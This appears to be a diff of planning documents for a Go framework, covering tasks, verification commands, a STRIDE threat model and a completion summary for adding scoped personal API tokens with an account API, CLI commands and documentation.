||||
<verify>
|
||||
<automated>go vet ./modules/cabana && go test -count=1 -run '^(TestTokenTracerSmoke|TestTokenGatesSmoke|TestPhase09PermissionMatrix|TestPhase09ContractInventory|TestPhase10ConformanceInventory|TestPhase10CSRF)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 6</automated>
|
||||
<fails_when>Non-zero exit or fewer than six "--- PASS: Test" lines: a gate, the interactive-only marker, the resolver or the stamp debounce misbehaves, or a wrapper broke the route inventory or CSRF tests.</fails_when>
|
||||
<automated>docker info >/dev/null 2>&1 && go test -count=1 -run '^(TestTokenTracerPostgres|TestAdminAuthLifecycle|TestAdminLogoutRevokesExpiredRefreshableToken)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 3</automated>
|
||||
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), or the tracer, the JWT login/refresh lifecycle or the logout test regressed after wrapping refresh and logout.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "interactiveOnly(" modules/cabana/http.go` prints at least five lines (account, two avatar, refresh, logout).
|
||||
- `grep -n "tokenRouteGate" modules/cabana/field_type.go modules/cabana/field_markdown.go` prints one line per file.
|
||||
- `grep -n "func ResolveBackend" modules/cabana/token_guard.go` prints one line, and `grep -n "app.Publish" modules/cabana/http.go` shows a publish of the resolver.
|
||||
- `grep -n '"account"' modules/cabana/registry.go` prints a line in `reservedVendorSegments`.
|
||||
</acceptance_criteria>
|
||||
<done>Tokens are refused on every interactive-only route, unscoped routes outside Allows are gated, plugins can resolve a backend principal (JWT or token) with a scope cover check, and token use is stamped at most once a minute.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto">
|
||||
<name>Task 3: Account token API (list, create, revoke, scopes) with swag annotations, regenerated OpenAPI and TS types, route inventories and server-side phrase keys</name>
|
||||
<files>modules/cabana/account_tokens.go, modules/cabana/api_tokens.go, modules/cabana/token_scopes.go, modules/cabana/http.go, modules/cabana/admin_openapi.go, modules/cabana/security_coverage_test.go, modules/cabana/openapi_conformance_test.go, modules/cabana/token_postgres_smoke_test.go, modules/phrasebook/backend/lang/en/lang.yaml, modules/phrasebook/backend/lang/pl/lang.yaml, admin/openapi/admin.json, admin/src/api/schema.d.ts</files>
|
||||
<read_first>modules/cabana/account.go (accountPrincipal :216, backendMessage :246, accountUpdate :289, refusedAccountKeys :445, writeAccountError :495), modules/cabana/relation_child.go (decodeCappedObject :700), modules/cabana/field_file.go (fieldDetail :873), modules/cabana/crud.go (ValidationError :65, writeCRUDError :737), modules/cabana/http.go (translator :797), modules/cabana/form_schema.go (schemaLocale :361), modules/cabana/admin_openapi.go (header :1-12, AdminMe and AdminAccountUpdate :190-219), modules/cabana/security_coverage_test.go (phase09Routes), modules/cabana/phase09_contract_test.go, modules/cabana/openapi_conformance_test.go (conformCases :230, the /account/avatar cases :515-540, newConformEnv :765), scripts/check-admin-openapi.sh, modules/phrasebook/backend/lang/en/lang.yaml and pl/lang.yaml (myaccount block :234), 16.3-UI-SPEC.md Copywriting Contract (:131-206) and Component Contracts 3-5 (:221-281), 16.3-RESEARCH.md Pattern 5 (:364-380) and Pitfalls 8 and 9 (:490-495); for the Task 1-2 code, the as-built signatures only (see Plan sizing note, seam after Task 2)</read_first>
|
||||
<action>Implement the D-16 to D-18 server half; the SPA (plan 02) relies on these exact shapes (Interfaces section of this plan).
|
||||
|
||||
Validation and issue (api_tokens.go, per D-08, D-17): put the rules in a pure `validateTokenRequest` (no database: catalog, owner principal, raw name, expires and scopes, the clock and a CLI-mode flag in; cleaned values and field-keyed message keys out) and grow `issueAPIToken` into the single path used by the API and the CLI that calls it and then inserts: trim the name and require 1 to 100 runes (`api_tokens.name_required`, `api_tokens.name_too_long`); `parseTokenExpiry` accepts 30d, 90d, 365d and never (absent means 90d) for the API, and additionally YYYY-MM-DD (00:00 UTC, must be after now) for the CLI (`api_tokens.expires_invalid`); scopes: empty → `api_tokens.scopes_required`; a list containing `*` becomes exactly [`*`]; duplicates removed keeping order; each name must exist in the catalog and overlap the owner (`scopeOverlaps`, the D-17 rule in this plan) or the error is `api_tokens.scope_unavailable` with :name. Return field-keyed messages the handler turns into a `ValidationError`. `revokeAPIToken(db, ownerID, id, revokedBy)` updates revoked_at and revoked_by only where id, backend_user_id and revoked_at IS NULL match and reports not found otherwise.
|
||||
|
||||
Handlers (account_tokens.go): `accountTokensList`, `accountTokenCreate`, `accountTokenRevoke`, `accountTokenScopes`, each starting with `accountPrincipal`, each using `s.db()` with the slog plus 500 tail of accountUpdate. Create decodes with `decodeCappedObject`, refuses keys other than name, expires and scopes as PUT /account does, answers 201 with the created row plus `token` (the only place the plaintext ever appears). List filters by the principal's id, hides revoked rows unless the query value revoked is 1 or true, orders by created_at DESC then id DESC, and maps each stored scope to `{name, label, description, read_only, known}`: labels and descriptions translated server-side in the request locale (RESEARCH Pitfall 9; `*` and `admin:read` from the api_tokens keys), read_only true when the scope's methods are only GET and HEAD, unknown names returned with known false and label equal to the name. `expired` is computed server-side. Scopes answers the picker list in catalog order filtered by `scopeOverlaps`, `*` always first. Revoke parses {id}, answers 404 `not_found` when nothing was revoked, else 200 with the row.
|
||||
|
||||
Mount (http.go): GET and POST /account/tokens, GET /account/tokens/scopes and DELETE /account/tokens/{id} inside the backend group next to the account routes, each wrapped in `interactiveOnly`, writes also in `requireAjax` (per D-06, D-18).
|
||||
|
||||
OpenAPI (admin_openapi.go): types `AdminAPIToken`, `AdminAPITokenScope`, `AdminAPITokenCreated`, `AdminAPITokenRequest` and stubs `AdminAccountTokens`, `AdminAccountTokenCreate` (documents @Success 201, RESEARCH Pitfall 8), `AdminAccountTokenRevoke`, `AdminAccountTokenScopes` in the AdminAccountUpdate style, each with @Failure 401, 403 (interactive_only) and 422/404 as they apply and a @Description naming the interactive-only rule. Change the BackendBearer description to say the header carries an admin access token or a personal API token (g15_…), and that account and token routes refuse personal tokens. Run `bash scripts/check-admin-openapi.sh` to regenerate admin/openapi/admin.json and admin/src/api/schema.d.ts and commit both with the routes (TestPhase09ContractInventory reads the committed document).
|
||||
|
||||
Inventories: add the four route keys to `phase09Routes` and four `conformCases` (list after a create, create with scopes [`*`] expecting 201, revoke of a token created in the case, scopes) using the env's JWT.
|
||||
|
||||
Phrase keys (per UI-SPEC copy): add an `api_tokens:` block next to `myaccount:` in en and pl with the nine server-side keys from the Interfaces section, Polish first as the design language and the UI-SPEC wording where it names the key.
|
||||
|
||||
Smoke test `TestAccountTokensSmoke` (Postgres, cabana_test, adminHandler harness): log in a developer admin, GET /account/tokens/scopes includes `*` and `demo`, POST creates a `demo` token (201, token matches g15_ plus 40 hex, no token_hash key in the body), GET lists it with hint equal to the token's last four characters and no token key, the token itself is refused on GET /account/tokens with 403 interactive_only, DELETE revokes it (200) and a second DELETE is 404, and the revoked token now answers 401 on the widgets list.</action>
|
||||
<verify>
|
||||
<automated>go vet ./modules/cabana && go test -count=1 -run '^(TestPhase09PermissionMatrix|TestPhase09ContractInventory|TestPhase10ConformanceInventory|TestTokenTracerSmoke|TestTokenGatesSmoke)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 5 && bash scripts/check-admin-openapi.sh --check && npm --prefix admin run typecheck</automated>
|
||||
<fails_when>Non-zero exit: fewer than five "--- PASS: Test" lines (a new route is missing from phase09Routes, the committed OpenAPI or conformCases), check-admin-openapi reports admin.json or schema.d.ts stale, or the SPA no longer typechecks against the regenerated types.</fails_when>
|
||||
<automated>docker info >/dev/null 2>&1 && go test -count=1 -run '^(TestAccountTokensSmoke|TestPhase10OpenAPIConformance)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 2</automated>
|
||||
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), the account token smoke fails (plaintext leaked into a list, a token reached a token route, revoke not soft or not own-only), or a documented response schema does not match a real response.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -c '"/account/tokens' admin/openapi/admin.json` reports at least 1, and `grep -n '"201"' admin/openapi/admin.json` includes the create operation.
|
||||
- `grep -n "account/tokens" modules/cabana/security_coverage_test.go modules/cabana/openapi_conformance_test.go` prints four route lines in each file.
|
||||
- `grep -c "api_tokens:" modules/phrasebook/backend/lang/en/lang.yaml modules/phrasebook/backend/lang/pl/lang.yaml` reports 1 for each file.
|
||||
- In modules/cabana/account_tokens.go the only JSON key carrying the plaintext is set in the create handler: `grep -n '"token"' modules/cabana/account_tokens.go modules/cabana/admin_openapi.go` lines all belong to the create path or the AdminAPITokenCreated type.
|
||||
</acceptance_criteria>
|
||||
<done>A signed-in admin can list, create (plaintext once), revoke and pick scopes through the documented admin API, and the OpenAPI document, TS types and inventories cover the four routes.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto">
|
||||
<name>Task 4: admin:token:* CLI with party.Activated, summer delegates, and the framework READMEs and docs pages</name>
|
||||
<files>modules/party/registry.go, modules/party/registry_test.go, modules/party/README.md, modules/cabana/token_commands.go, modules/cabana/commands.go, modules/cabana/token_scopes.go, modules/cabana/registry.go, modules/cabana/token_postgres_smoke_test.go, modules/cabana/README.md, modules/pact/README.md, modules/bouncer/README.md, modules/lagoon/README.md, cmd/summer/runtime.go, cmd/summer/runtime_test.go, docs/examples/blog/token_scopes.go, docs/examples/blog/lang/en/lang.yaml, docs/backend/users-and-permissions.md, docs/services/authentication.md, docs/console/setup-and-maintenance.md, docs/console/introduction.md, docs/plugins/registration.md</files>
|
||||
<read_first>modules/party/registry.go (activate, SetPlugins :107), modules/backpack/services.go (Publish duplicate rule), modules/cabana/commands.go (RuntimeCommands :18, adminCreate, adminResetPassword, flagValue :192, withAdminDB :200), modules/cabana/auth.go (findBackendLogin :417), modules/bonfire/command.go (Flag.Repeatable, Input.Flags), modules/bonfire/output.go (Println, Table), modules/bonfire/root.go, cmd/summer/runtime.go (delegateCommands), cmd/summer/runtime_test.go (TestDelegateCommandsHelp count 11), cmd/summer/docs.go (docsCommands), internal/build/build.go (generated main calls cabana.RuntimeCommands(app)), modules/cabana/commands_test.go (TestAdminCreateCommand, commandApp, flagInput), docs/examples/blog/plugin.go and lang/en/lang.yaml, docs/backend/users-and-permissions.md, docs/services/authentication.md, docs/console/setup-and-maintenance.md (Admin accounts), docs/console/introduction.md (delegate table), docs/plugins/registration.md (capability table), modules/pact/README.md, modules/bouncer/README.md, modules/cabana/README.md (Features, Admin API routes, API reference, CLI commands), modules/party/README.md, modules/lagoon/README.md (:129), CLAUDE.md Documentation section, 16.3-RESEARCH.md Pattern 7 (:416-433) and Pitfalls 6, 7 and 12 (:484-489, :502-504)</read_first>
|
||||
<action>party (user-confirmed Option A, per D-19): declare `Activated` as the ordered `[]Plugin` and publish it with `app.Publish` right after `app.SetPlugins(orderedIDs)` (an error is returned as `party: …`); doc comment says commands read it at Run time. Smoke test `TestActivatePublishesPlugins` in modules/party: after activate, `app.Lookup[Activated]()` returns the plugins in activation order.
|
||||
|
||||
Catalog for the CLI (token_scopes.go, registry.go): extract the permission and role-grant loop of `compileContributions` into a helper both paths call, and add `compileTokenCatalog(plugins)` returning a Registry holding only permissions, role grants and the token scope catalog (no controllers, settings or navigation, so plugins with navigation compile).
|
||||
|
||||
Commands (token_commands.go; registered by RuntimeCommands, signature unchanged; constructors only capture app so docsCommands keeps working): `admin:token:create` (Arg identifier required; Flags name, scope Repeatable, expires default 90d) resolves the user with `findBackendLogin` (ambiguity rule unchanged), refuses deactivated or soft-deleted users, loads the owner principal with `BackendUsers{DB, Registry: catalog registry}.FindByID` so code-declared roles count, calls `issueAPIToken` (same rules as the API, D-17), and on success writes exactly the token and a newline with `out.Println` and nothing else on stdout (RESEARCH Pitfall 7; errors are returned, never printed). `admin:token:list` (optional identifier, Bare flag revoked) prints a `Table` with id, login, name, scopes, hint as g15_…last4, created, last used, expires and revoked, never the hash or plaintext. `admin:token:revoke` (Arg id) revokes any user's active token with revoked_by NULL; not found is an error, an already revoked token prints that it was already revoked and exits 0. `admin:token:scopes` prints name, label (translated with the app translator when published, otherwise the key), read-only and permissions. When `party.Activated` is not published the commands use the framework scopes only and say so on stderr-safe paths (create and scopes return an error naming the unknown scope as usual). Smoke test `TestTokenCommandsSmoke` (Postgres, cabana_test, commandApp plus a published party.Activated holding the demo test plugin): create prints exactly one line matching g15_ plus 40 hex, list shows the hint and not the token, revoke works, scopes lists `*`, admin:read and demo.
|
||||
|
||||
summer (cmd/summer/runtime.go): four delegate rows for admin:token:create (hint: identifier, --name, --scope repeatable, --expires), admin:token:list, admin:token:revoke and admin:token:scopes; update `TestDelegateCommandsHelp` to 15 commands and add hints for admin:token:create.
|
||||
|
||||
Docs example: docs/examples/blog/token_scopes.go with the compile-time assertion for `pact.HasTokenScopes` and `TokenScopes()` returning `blog` (acme.blog.*, GET, HEAD, POST, PUT, PATCH, DELETE) and `blog:read` (acme.blog.*, GET, HEAD) with phrase keys acme.blog::lang.scopes.*, and those keys in docs/examples/blog/lang/en/lang.yaml (the example activates through cabana, which now validates them).
|
||||
|
||||
READMEs (CLAUDE.md, same change, neutral names): pact (Features line and API reference rows for TokenScope and HasTokenScopes), bouncer (ScopeLimit, Principal.Scope), cabana (Features: composite backend guard, personal API tokens, scopes and framework scopes, interactive-only routes, route gates; Admin API routes: the four account token routes; API reference: BackendAPIToken, APITokenPrefix, ResolveBackend, ErrUnauthenticated, ErrTokenScope and the four OpenAPI types; CLI commands table: the four admin:token commands with a pipe example `TOKEN=$(./bin/acme admin:token:create admin@example.com --name agent --scope blog)`), party (Activated in Features and API reference), lagoon (the BackendAdminMigrations row names backend_api_tokens).
|
||||
|
||||
docs/ pages: users-and-permissions.md gets an "API tokens" section (format and storage, scopes and the framework scopes, owner ∩ scope with the multi-code rule, deny by default and the gated routes, interactive-only routes, expiry and revoke, the four account endpoints, a `src=docs/examples/blog/token_scopes.go#Plugin.TokenScopes` fence and the boot rules); authentication.md describes the composite backend guard under "Guards and middleware" and a subsection on accepting admin tokens on plugin routes with ResolveBackend (Bearer only, cover codes, the two sentinel errors); setup-and-maintenance.md adds the four commands to "Admin accounts"; introduction.md adds the four delegate rows; registration.md adds a capability row for `pact.HasTokenScopes`. Run `go run ./cmd/summer docs:sync` if a src= fence changed, then the checks.</action>
|
||||
<verify>
|
||||
<automated>go vet ./... && go test -count=1 ./modules/party ./modules/pact && go test -count=1 -run '^(TestDocsTree|TestDelegateCommandsHelp|TestDocsCommandsMirrorGeneratedMain)$' -v ./cmd/summer 2>&1 | grep -c '^--- PASS: Test' | grep -qx 3 && go run ./cmd/summer docs:build --check && go test -short -count=1 -run '^(TestPluginActivates|TestRoutesRegistered)$' ./docs/examples/blog</automated>
|
||||
<fails_when>Non-zero exit: vet fails anywhere, the party or pact package fails (Activated not published), fewer than three passing cmd/summer tests (a docs identifier or command name is unknown, a delegate row or its hint is missing), docs:build --check reports a problem, or the blog example no longer activates (a scope label key is missing or a scope rule is broken).</fails_when>
|
||||
<automated>docker info >/dev/null 2>&1 && go test -count=1 -run '^(TestTokenCommandsSmoke|TestAdminCreateCommand)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 2</automated>
|
||||
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), create printed anything besides the token line, or the existing admin:create test regressed.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "func RuntimeCommands(app \*backpack.App) \[\]bonfire.Command" modules/cabana/commands.go` prints one line (signature unchanged).
|
||||
- `grep -c "admin:token:" cmd/summer/runtime.go` reports 4 and `grep -n "want 15" cmd/summer/runtime_test.go` prints one line.
|
||||
- `grep -l "HasTokenScopes" modules/pact/README.md docs/backend/users-and-permissions.md docs/plugins/registration.md` lists all three files; `grep -l "ResolveBackend" modules/cabana/README.md docs/services/authentication.md` lists both; `grep -l "ScopeLimit" modules/bouncer/README.md` and `grep -l "Activated" modules/party/README.md` each list their file; `grep -c "admin:token:" modules/cabana/README.md docs/console/setup-and-maintenance.md` reports at least 4 for each.
|
||||
- `grep -ciE "fonoteka|p[lł][yý]tarium|grzyby" docs/backend/users-and-permissions.md docs/services/authentication.md modules/cabana/README.md` reports 0 for each file.
|
||||
</acceptance_criteria>
|
||||
<done>Operators manage any user's tokens from the app binary (and through summer), plugin scopes are visible to the CLI without a host main change, and every new exported identifier, route and command is documented in its module README and the docs pages.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| client → admin API | Authorization header (JWT or g15_ token) and cookie cross here; untrusted |
|
||||
| client → plugin routes via ResolveBackend | Bearer value only; plugin routes have no CSRF check |
|
||||
| plugin code → cabana boot | plugins declare scopes and permissions compiled at boot |
|
||||
| operator → CLI | runs with database access; may mint for any user |
|
||||
| database → process | token rows; only hashes stored |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.3-01 | Spoofing | compositeGuard token branch | high | mitigate | 160-bit crypto/rand secret; wellFormedAPIToken refuses anything but g15_ plus 40 lowercase hex before the database; lookup by unique sha256 then crypto/subtle compare; expired, revoked and dead-owner tokens are 401 |
|
||||
| T-16.3-02 | Information Disclosure | backend_api_tokens | medium | mitigate | Only sha256 hex and a four-character hint are stored; TokenHash is json:"-"; list and CLI outputs never carry hash or plaintext |
|
||||
| T-16.3-03 | Information Disclosure | create response, logs | high | mitigate | Plaintext only in the 201 create body and the CLI stdout line; admin.auth logs carry outcome, admin_id and token_id only, never the Authorization value |
|
||||
| T-16.3-04 | Elevation of Privilege | cabana.Allows | high | mitigate | Scope branch before the IsSuperuser and empty-list shortcuts; per-scope every-code match plus owner-held code; superuser limited by the scope; smoke tests cover superuser and out-of-scope cases |
|
||||
| T-16.3-05 | Elevation of Privilege | account, token, refresh, logout routes | high | mitigate | interactiveOnly refuses any token credential or raw g15_ Bearer, `*` included, with 403 interactive_only before requireAjax and the handler |
|
||||
| T-16.3-06 | Spoofing / Tampering (CSRF) | token transport, ResolveBackend | high | mitigate | Token branch reads only the Authorization Bearer header; cookie values never reach it; ResolveBackend wraps a cookie-less JWT guard so plugin write routes cannot be driven by the admin cookie |
|
||||
| T-16.3-07 | Elevation of Privilege | owner loading | medium | mitigate | lazyBackendUsers.FindByID per request: deactivated or soft-deleted owners fail with 401; code-declared role grants come from the compiled registry |
|
||||
| T-16.3-08 | Elevation of Privilege | issueAPIToken (API and CLI) | medium | mitigate | Scope names validated against the catalog and the overlap rule; unknown stored names grant nothing; scopes immutable after creation |
|
||||
| T-16.3-09 | Denial of Service | last_used_at writes | low | mitigate | Per-token one-minute in-process gate plus conditional UPDATE; stamp failures never fail auth |
|
||||
| T-16.3-10 | Denial of Service | invalid token floods | low | accept | Format check precedes an indexed unique lookup; 160-bit secrets are not guessable; no new throttle bucket (the admin API has none beyond login) |
|
||||
| T-16.3-11 | Tampering | scope registration | medium | mitigate | Boot fails on duplicate, reserved (`*`, admin, admin:…) or invalid names, unknown permissions or methods, missing GET, unresolved phrase keys |
|
||||
| T-16.3-12 | Repudiation | revoke | low | mitigate | Soft revoke keeps revoked_at and revoked_by (NULL for the CLI); denials logged as admin.auth events |
|
||||
| T-16.3-13 | Elevation of Privilege | routes outside Allows | high | mitigate | tokenRouteGate on /field-types and /markdown/preview; /navigation and /settings filter per item through Allows; plan 04 classifies every mounted route in a test table |
|
||||
| T-16.3-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package is installed; swag runs pinned at v1.16.6 through the existing scripts/check-admin-openapi.sh; openapi-typescript comes from the committed admin lockfile |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1: tracer smoke and inventories pass; Postgres tracer and lagoon migration tests pass on a Docker host.
|
||||
- Task 2: gates smoke, CSRF and inventories pass; JWT lifecycle tests still pass on a Docker host.
|
||||
- Task 3: inventories, OpenAPI drift gate and SPA typecheck pass; account token smoke and OpenAPI conformance pass on a Docker host.
|
||||
- Task 4: go vet ./..., party, pact, TestDocsTree, delegate help, docs:build --check and the blog example pass; command smoke passes on a Docker host.
|
||||
- Every Postgres line not run here is listed NOT RUN in the SUMMARY.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- SC-1 and SC-2 hold at the framework level: tokens authenticate as their owner and never exceed the owner or the scope, with deny-by-default outside Allows.
|
||||
- SC-3 server half: account token API and CLI work; SC-5 framework half: READMEs and docs updated in the same plan.
|
||||
- No new dependency; JWT behaviour unchanged.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-01-SUMMARY.md` when done, with the commit list, the exported API as built, any name that differs from this plan, and the Postgres tests run or NOT RUN.
|
||||
</output>
|
||||
@@ -0,0 +1,189 @@
|
||||
---
|
||||
phase: 16.3-backend-admin-personal-api-tokens-with-scopes
|
||||
plan: 01
|
||||
subsystem: auth
|
||||
tags: [api-tokens, scopes, cabana, bouncer, pact, party, lagoon, admin-cli, openapi, g15]
|
||||
|
||||
requires:
|
||||
- phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
provides: cabana Activate, admin OpenAPI inventories, BackendAdminMigrations, My account routes
|
||||
provides:
|
||||
- "pact.TokenScope and pact.HasTokenScopes"
|
||||
- "bouncer.ScopeLimit and Principal.Scope"
|
||||
- "backend_api_tokens migration and cabana.BackendAPIToken / APITokenPrefix"
|
||||
- "composite backend guard, interactiveOnly, tokenRouteGate, ResolveBackend, ErrUnauthenticated, ErrTokenScope"
|
||||
- "account token API (list/create/revoke/scopes) with OpenAPI and phrase keys"
|
||||
- "admin:token:* CLI via party.Activated and summer delegates"
|
||||
- "framework READMEs and docs for tokens, scopes, ResolveBackend and CLI"
|
||||
affects: [16.3-02, 16.3-03, 16.3-04, sm-journal-plugin]
|
||||
|
||||
actuals:
|
||||
tokens: 40262
|
||||
tasks: 4
|
||||
commits: 5
|
||||
plan_head_before: 4d107f4ccb3ed00bf12b680b07c2e7874b345198
|
||||
plan_head_after: e24e03c47d84f854b6c66c1b317940492b60f441
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "Composite backend guard: Bearer g15_ → token branch; else unchanged JWT+cookie path"
|
||||
- "party.Activated published at Activate for CLI catalog without changing RuntimeCommands(app)"
|
||||
- "Scope before superuser/empty-list in Allows; interactive_only and token_scope reasons"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- modules/cabana/api_tokens.go
|
||||
- modules/cabana/token_scopes.go
|
||||
- modules/cabana/token_guard.go
|
||||
- modules/cabana/account_tokens.go
|
||||
- modules/cabana/token_commands.go
|
||||
- modules/cabana/token_smoke_test.go
|
||||
- modules/cabana/token_postgres_smoke_test.go
|
||||
- docs/examples/blog/token_scopes.go
|
||||
modified:
|
||||
- modules/pact/capabilities.go
|
||||
- modules/bouncer/context.go
|
||||
- modules/lagoon/backend_admin_migrations.go
|
||||
- modules/cabana/contracts.go
|
||||
- modules/cabana/http.go
|
||||
- modules/cabana/registry.go
|
||||
- modules/cabana/admin_openapi.go
|
||||
- modules/party/registry.go
|
||||
- cmd/summer/runtime.go
|
||||
- admin/openapi/admin.json
|
||||
- admin/src/api/schema.d.ts
|
||||
- modules/phrasebook/backend/lang/en/lang.yaml
|
||||
- modules/phrasebook/backend/lang/pl/lang.yaml
|
||||
- docs/backend/users-and-permissions.md
|
||||
- docs/services/authentication.md
|
||||
- docs/console/setup-and-maintenance.md
|
||||
- docs/console/introduction.md
|
||||
- docs/plugins/registration.md
|
||||
|
||||
key-decisions:
|
||||
- "D-03 literal: one method-allowed scope must match every required code; ScopeLimit keeps per-scope pattern slices"
|
||||
- "CLI uses party.Activated at Run time; cabana.RuntimeCommands(app) signature unchanged (Option A)"
|
||||
- "ResolveBackend is Bearer-only (cookie-less JWT guard) so plugin writes cannot be CSRF-driven by summer_admin"
|
||||
- "Exported names match the plan Interfaces section; no as-built renames"
|
||||
|
||||
patterns-established:
|
||||
- "Personal API token: g15_+40 hex, sha256+hint stored, plaintext once on create/CLI stdout"
|
||||
- "Plugin scopes via HasTokenScopes; framework * and admin:read; boot fails loud on bad registration"
|
||||
|
||||
requirements-completed: [SC-1, SC-2, SC-3, SC-5]
|
||||
|
||||
coverage:
|
||||
- id: D1
|
||||
description: "g15_ token authenticates through the composite backend guard as its owner, scoped by Allows"
|
||||
requirement: SC-1
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: modules/cabana/token_smoke_test.go#TestTokenTracerSmoke
|
||||
status: pass
|
||||
- kind: integration
|
||||
ref: modules/cabana/token_postgres_smoke_test.go#TestTokenTracerPostgres
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D2
|
||||
description: "Out-of-scope and non-Allows routes refuse tokens; interactive-only routes refuse all personal tokens; ResolveBackend and last_used debounce work"
|
||||
requirement: SC-2
|
||||
verification:
|
||||
- kind: unit
|
||||
ref: modules/cabana/token_smoke_test.go#TestTokenGatesSmoke
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D3
|
||||
description: "Account token API list/create/revoke/scopes with OpenAPI, inventories and phrase keys"
|
||||
requirement: SC-3
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: modules/cabana/token_postgres_smoke_test.go#TestAccountTokensSmoke
|
||||
status: pass
|
||||
- kind: other
|
||||
ref: bash scripts/check-admin-openapi.sh --check
|
||||
status: pass
|
||||
human_judgment: false
|
||||
- id: D4
|
||||
description: "admin:token:* CLI with party.Activated, summer delegates, READMEs and docs"
|
||||
requirement: SC-5
|
||||
verification:
|
||||
- kind: integration
|
||||
ref: modules/cabana/token_postgres_smoke_test.go#TestTokenCommandsSmoke
|
||||
status: pass
|
||||
- kind: unit
|
||||
ref: cmd/summer/runtime_test.go#TestDelegateCommandsHelp
|
||||
status: pass
|
||||
- kind: other
|
||||
ref: go run ./cmd/summer docs:build --check
|
||||
status: pass
|
||||
human_judgment: false
|
||||
|
||||
duration: 95min
|
||||
completed: 2026-10-11
|
||||
status: complete
|
||||
---
|
||||
|
||||
# Phase 16.3 Plan 01: Framework personal API tokens Summary
|
||||
|
||||
**Scoped g15_ personal API tokens through a composite backend guard, account API, admin:token CLI and docs — owner ∩ scope, interactive-only gates, ResolveBackend for plugins.**
|
||||
|
||||
## Performance
|
||||
|
||||
- **Duration:** 95 min
|
||||
- **Started:** 2026-10-10T23:41:00Z
|
||||
- **Completed:** 2026-10-11T00:00:00Z
|
||||
- **Tasks:** 4
|
||||
- **Files modified:** 43
|
||||
|
||||
## Accomplishments
|
||||
- Tracer path: mint → hash store → composite guard → ScopeLimit → Allows (scope before superuser)
|
||||
- Deny-by-default gates: interactiveOnly, field-types/markdown tokenRouteGate, published ResolveBackend, debounced last_used_at
|
||||
- Account token API with OpenAPI/TS types, inventories and backend::lang.api_tokens phrase keys
|
||||
- admin:token:* CLI via party.Activated, summer delegates, blog HasTokenScopes example, five module READMEs and five docs pages
|
||||
|
||||
## Task Commits
|
||||
|
||||
Each task was committed atomically:
|
||||
|
||||
1. **Task 1: Tracer** - `b9273c1` (feat)
|
||||
2. **Task 2: Gates, ResolveBackend, stamp** - `183583e` (feat)
|
||||
3. **Task 3: Account token API + OpenAPI** - `ffdb5d0` (feat)
|
||||
4. **Task 4: CLI, party.Activated, READMEs/docs** - `e24e03c` (feat)
|
||||
|
||||
**Plan metadata:** (this commit)
|
||||
|
||||
## Exported API as built
|
||||
|
||||
Matches the plan Interfaces section: `pact.TokenScope` / `HasTokenScopes`; `bouncer.ScopeLimit` / `Principal.Scope`; `party.Activated`; `cabana.BackendAPIToken`, `APITokenPrefix`, `ResolveBackend`, `ErrUnauthenticated`, `ErrTokenScope`; OpenAPI types and swag stubs; CLI `admin:token:create|list|revoke|scopes`. No name differs from the plan.
|
||||
|
||||
## Decisions Made
|
||||
- Followed locked D-01–D-20 and Option A for CLI plugin access (`party.Activated`).
|
||||
- `validateTokenRequest` + `validateTokenScopes` helper; `compilePermissionCatalog` shared by `compileContributions` and `compileTokenCatalog`.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
None - plan executed as written.
|
||||
|
||||
## Issues Encountered
|
||||
None
|
||||
|
||||
## Postgres verify status
|
||||
|
||||
All Docker-host Postgres lines from this plan were **RUN** and passed on this host:
|
||||
|
||||
- Task 1: `TestTokenTracerPostgres`, `TestBackendAdminMetadataColumn`, `TestPhase09MigrationsFreshRollback`
|
||||
- Task 2: `TestTokenTracerPostgres`, `TestAdminAuthLifecycle`, `TestAdminLogoutRevokesExpiredRefreshableToken`
|
||||
- Task 3: `TestAccountTokensSmoke`, `TestPhase10OpenAPIConformance`
|
||||
- Task 4: `TestTokenCommandsSmoke`, `TestAdminCreateCommand`
|
||||
|
||||
## User Setup Required
|
||||
|
||||
None - no external service configuration required.
|
||||
|
||||
## Next Phase Readiness
|
||||
Ready for 16.3-02 (admin SPA API tokens card on My account). Framework half of SC-1/SC-2/SC-3/SC-5 is in place for Journal (16.3-03) and unit tests (16.3-04).
|
||||
|
||||
---
|
||||
*Phase: 16.3-backend-admin-personal-api-tokens-with-scopes*
|
||||
*Completed: 2026-10-11*
|
||||
@@ -0,0 +1,245 @@
|
||||
---
|
||||
phase: 16.3-backend-admin-personal-api-tokens-with-scopes
|
||||
plan: 02
|
||||
type: execute
|
||||
wave: 2
|
||||
depends_on: ["16.3-01"]
|
||||
files_modified:
|
||||
- admin/src/components/account/ApiTokensPanel.vue
|
||||
- admin/src/components/account/ApiTokenCreateDialog.vue
|
||||
